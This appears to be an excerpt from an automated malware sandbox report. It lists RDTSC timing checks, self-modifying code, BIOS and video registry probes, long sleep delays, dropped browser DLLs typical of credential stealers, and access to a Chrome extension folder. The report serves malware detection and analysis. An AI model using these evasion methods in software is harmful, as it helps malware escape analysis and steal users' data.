Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EE0AD second address: 5EE0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EE232 second address: 5EE236 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EE555 second address: 5EE559 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EE5FE second address: 5EE60C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD94Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EE6D4 second address: 5EE6EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DD5CA01Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EE6EA second address: 5EE6EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EEC7A second address: 5EEC80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EEC80 second address: 5EED27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD953h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F00DC7AD948h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 jne 00007F00DC7AD94Ch 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edi 0x0000002f call 00007F00DC7AD948h 0x00000034 pop edi 0x00000035 mov dword ptr [esp+04h], edi 0x00000039 add dword ptr [esp+04h], 0000001Ah 0x00000041 inc edi 0x00000042 push edi 0x00000043 ret 0x00000044 pop edi 0x00000045 ret 0x00000046 mov dword ptr [ebp+1247FF41h], edx 0x0000004c push 00000000h 0x0000004e push 00000000h 0x00000050 push ebx 0x00000051 call 00007F00DC7AD948h 0x00000056 pop ebx 0x00000057 mov dword ptr [esp+04h], ebx 0x0000005b add dword ptr [esp+04h], 00000016h 0x00000063 inc ebx 0x00000064 push ebx 0x00000065 ret 0x00000066 pop ebx 0x00000067 ret 0x00000068 jne 00007F00DC7AD946h 0x0000006e xchg eax, ebx 0x0000006f push eax 0x00000070 push edx 0x00000071 push edi 0x00000072 jmp 00007F00DC7AD94Eh 0x00000077 pop edi 0x00000078 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EED27 second address: 5EED2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F091C second address: 5F0920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F0920 second address: 5F0926 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F1362 second address: 5F1368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F1368 second address: 5F136C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F136C second address: 5F1370 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F1E51 second address: 5F1E66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007F00DD5CA016h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F1E66 second address: 5F1EF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD94Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F00DC7AD948h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 pushad 0x00000025 jc 00007F00DC7AD94Ch 0x0000002b mov dword ptr [ebp+122D2099h], edi 0x00000031 mov dword ptr [ebp+1244DD25h], esi 0x00000037 popad 0x00000038 push 00000000h 0x0000003a jmp 00007F00DC7AD959h 0x0000003f or dword ptr [ebp+1245AB91h], esi 0x00000045 push 00000000h 0x00000047 sub dword ptr [ebp+122D1DBEh], esi 0x0000004d xchg eax, ebx 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 jmp 00007F00DC7AD950h 0x00000056 jmp 00007F00DC7AD94Eh 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F3EFC second address: 5F3F00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EFF7A second address: 5EFF80 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F1C2E second address: 5F1C38 instructions: 0x00000000 rdtsc 0x00000002 je 00007F00DD5CA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F310D second address: 5F3111 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F3C75 second address: 5F3C93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DD5CA01Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jno 00007F00DD5CA016h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F62AC second address: 5F62BA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F00DC7AD946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F8A02 second address: 5F8A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5FAEE1 second address: 5FAEE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5FAEE5 second address: 5FAF4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a xor dword ptr [ebp+122D21F3h], esi 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F00DD5CA018h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e add edi, 37F2BAE2h 0x00000034 xchg eax, esi 0x00000035 pushad 0x00000036 jmp 00007F00DD5CA027h 0x0000003b jmp 00007F00DD5CA01Dh 0x00000040 popad 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5FAF4D second address: 5FAF5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DC7AD94Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5FAF5C second address: 5FAF74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F00DD5CA024h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5FAF74 second address: 5FAF78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F6998 second address: 5F699C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F699C second address: 5F69A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F6A7C second address: 5F6A81 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5F6A81 second address: 5F6A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F00DC7AD948h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 60026F second address: 600282 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F00DD5CA01Fh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 600282 second address: 6002E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F00DC7AD954h 0x0000000e nop 0x0000000f jmp 00007F00DC7AD94Bh 0x00000014 push 00000000h 0x00000016 cmc 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F00DC7AD948h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov edi, 7B6B1A97h 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jnl 00007F00DC7AD94Ch 0x00000041 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5FB1C5 second address: 5FB1CF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F00DD5CA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5FB1CF second address: 5FB1D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 6012C4 second address: 6012C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5B0058 second address: 5B006F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DC7AD953h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 6048A6 second address: 6048AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 6048AA second address: 60490A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F00DC7AD946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c jmp 00007F00DC7AD94Fh 0x00000011 nop 0x00000012 push edi 0x00000013 xor dword ptr [ebp+122D3B55h], ecx 0x00000019 pop ebx 0x0000001a push 00000000h 0x0000001c mov bx, A2F0h 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007F00DC7AD948h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 00000018h 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c jng 00007F00DC7AD94Ch 0x00000042 mov dword ptr [ebp+122D3648h], ebx 0x00000048 movsx edi, ax 0x0000004b xchg eax, esi 0x0000004c push esi 0x0000004d push ebx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 606B64 second address: 606B8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DD5CA01Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F00DD5CA01Fh 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 606B8A second address: 606B8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 606B8E second address: 606B94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 606B94 second address: 606B99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5FD5EB second address: 5FD5EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5AB11A second address: 5AB120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5AB120 second address: 5AB124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5FD6C5 second address: 5FD6CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F00DC7AD946h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5AB124 second address: 5AB12A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5FD6CF second address: 5FD6D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 600434 second address: 60044F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F00DD5CA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 jns 00007F00DD5CA016h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 60044F second address: 6004D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F00DC7AD948h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 or dword ptr [ebp+12451883h], edi 0x00000028 push dword ptr fs:[00000000h] 0x0000002f mov ebx, dword ptr [ebp+122D3B55h] 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c mov edi, 7F0592DAh 0x00000041 mov eax, dword ptr [ebp+122D0E35h] 0x00000047 push 00000000h 0x00000049 push ecx 0x0000004a call 00007F00DC7AD948h 0x0000004f pop ecx 0x00000050 mov dword ptr [esp+04h], ecx 0x00000054 add dword ptr [esp+04h], 0000001Bh 0x0000005c inc ecx 0x0000005d push ecx 0x0000005e ret 0x0000005f pop ecx 0x00000060 ret 0x00000061 mov edi, dword ptr [ebp+1245B6F5h] 0x00000067 push FFFFFFFFh 0x00000069 sub dword ptr [ebp+122D223Ch], eax 0x0000006f nop 0x00000070 push eax 0x00000071 push edx 0x00000072 push ebx 0x00000073 push edx 0x00000074 pop edx 0x00000075 pop ebx 0x00000076 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 6024DD second address: 6024F3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F00DD5CA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F00DD5CA018h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 613834 second address: 613839 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 613839 second address: 613869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DD5CA023h 0x00000009 jmp 00007F00DD5CA023h 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 613869 second address: 613875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F00DC7AD946h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 6132A6 second address: 6132B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F00DD5CA016h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 6132B0 second address: 6132B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 6132B4 second address: 6132C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push edi 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 6132C2 second address: 6132D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 je 00007F00DC7AD946h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 6132D0 second address: 6132D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 606EA6 second address: 606EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 608E05 second address: 608E23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DD5CA027h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 608E23 second address: 608E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 61909F second address: 6190A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 73FE8C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 73FF6B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8E736C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 73D10E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 970A04 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Special instruction interceptor: First address: 5E22F0 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Special instruction interceptor: First address: 5E0948 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Special instruction interceptor: First address: 66E549 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B522F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B50948 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BDE549 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsHDGCAAFBFB.exe

Code function: 20_2_049D0098 rdtsc

20_2_049D0098

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1006397001\8ab1d3acb4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7348	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7344	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7340	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7336	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6596	Thread sleep count: 40 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6596	Thread sleep time: -1200000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6596	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsHDGCAAFBFB.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF8EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CF8EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
